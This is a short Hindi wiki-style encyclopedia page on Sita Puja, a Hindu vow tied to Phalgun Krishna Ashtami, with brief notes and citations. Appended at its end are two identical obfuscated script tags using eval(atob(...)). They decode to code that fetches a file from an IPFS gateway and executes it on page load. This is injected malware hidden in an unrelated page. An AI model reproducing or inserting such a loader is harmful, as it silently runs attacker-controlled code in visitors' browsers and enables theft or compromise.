सीता पूजा

भारत डिस्कवरी प्रस्तुति
प्रिया (वार्ता | योगदान) द्वारा परिवर्तित 05:26, 12 सितम्बर 2010 का अवतरण (सीतापूजा का नाम बदलकर सीता पूजा कर दिया गया है)
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • सीता का अर्थ है 'कर्षत भूमि'।
  • कृत्यरत्नाकर[1] में आया है कि नारद के कहने पर दक्ष के पुत्रों द्वारा फाल्गुन कृष्ण पक्ष की अष्टमी को पृथ्वी मापी गयी थी।
  • अत: देव एवं पितर लोग उस दिन अपूपों (पूओं) के साथ श्राद्ध की अभिलाषा करते हैं।
  • राम की पत्नी सीता की पूजा करनी चाहिए।
  • जो फाल्गुन कृष्ण पक्ष की अष्टमी को उत्पन्न हुई थीं।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. कृत्यरत्नाकर (518, ब्रह्मापुराण से उद्धरण)
  2. कृत्यरत्नाकर (526-529 एवं 518), 'फाल्गुनकृत्य' के अंतर्गत।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>